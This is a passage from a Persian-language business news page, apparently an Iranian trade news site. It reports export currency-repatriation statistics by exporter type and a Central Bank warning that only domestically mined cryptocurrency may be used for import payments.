بازگرداندن یک میلیارد و ۶۰۰ میلیون یورو بوده‌اند که معادل ۷/ ۲ درصد تعهد ارزی است.

براساس این آمارها، ۴۳ میلیارد و ۳۰۰ میلیون یورو از سوی صادرکنندگان دارای کارت بازرگانی(تا ۳۰ اسفند ۹۹) رفع تعهد شده که معادل ۷/ ۹۹ درصد میزان ایفای تعهدات ارزی را شامل می‌شود. در عین حال میزان رفع تعهد ارزی فاقدین کارت بازرگانی در این بازه، ۱۰۰ میلیون یورو بوده که ۳/ ۰ درصد از کل میزان رفع تعهد ارزی است. بنابراین سهم فاقدین کارت بازرگانی در صادرات چشم‌گیر نیست.

همچنین در این گزارش، تفکیکی برای واحدهای تولیدی و غیرتولیدی در نظر گرفته شده است. واحدهای تولیدی با وجود اینکه فقط ۳۰ درصد از صادرکنندگان را از نظر تعداد به خود اختصاص داده‌اند ولی با صادرات ۷/ ۵۲ میلیارد یورویی، ۷۵ درصد از تعهدات ارزی را به خود اختصاص داده‌اند و صادرکنندگان غیر‌تولیدی تنها ۱۵ میلیاردیورو از تعهدات ارزی را به عهده گرفته‌اند. نکته‌ای که از آمارهای ارائه شده مستفاد می‌شود این است که با فرض اینکه کلیه واحدهای تولیدی، واجد کارت بازرگانی باشند، فقط ۴۱۸۳ صادرکننده واجد کارت بازرگانی، واحد غیر‌تولیدی بوده‌اند. بنابراین می‌توان این نکته را بیان کرد که ۵/ ۱۵ میلیارد یورو از صادرات در بازه زمانی ۲۱ فروردین ۱۳۹۷ تا ۳۰ آبان ۱۳۹۹، (معادل ۲۵ درصد کل صادرات) مربوط به واحدهای غیر‌تولیدی یا بازرگانی بوده و ۷۵ درصد از کل صادرات در بازه زمانی توسط واحدهای تولیدی واجد کارت بازرگانی صورت پذیرفته است.

از مجموع تعهدات ارزی ایفا نشده، صرفا ۵/ ۱ میلیارد یورو مربوط به فاقدین کارت بازرگانی بوده و ۳۰ درصد مربوط به واحدهای تولیدی ( واجد کارت بازرگانی) و مابقی معادل ۶۲ درصد به واحدهای بازرگانی واجد کارت بازرگانی تعلق داشته است.

 

۱۹ : هشدار مهم بانک مرکزی درباره معامله گران رمزارزها

طبق مصوبه هیئت دولت تنها رمز ارزهای استخراجی در داخل کشور طبق ضوابط می‌تواند مورد استفاده قرار گیرد و از این رو معامله‌ی دیگر رمز ارزها مجاز نیست.

بانک مرکزی با هشدار مجدد به معامله گران رمزارزها اعلام کرد: تنها رمزارز استخراجی داخل کشور، طبق ضوابط می‌تواند در پرداخت‌های ارزی استفاده شود.

طبق مصوبه هیئت دولت تنها رمز ارزهای استخراجی در داخل کشور طبق ضوابط می‌تواند مورد استفاده قرار گیرد و از این رو معامله‌ی دیگر رمز ارزها مجاز نیست.

براین اساس صرافی‌های مجاز و بانک‌ها می‌توانند در چارچوب ضوابط یاد شده نسبت به انجام پرداخت‌های ارزی بابت واردات از طریق رمزهای استخراج شده در داخل کشور اقدام کنند. اما معامله و خرید فروش رمزارزهای دیگر مجاز نیست.

 

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران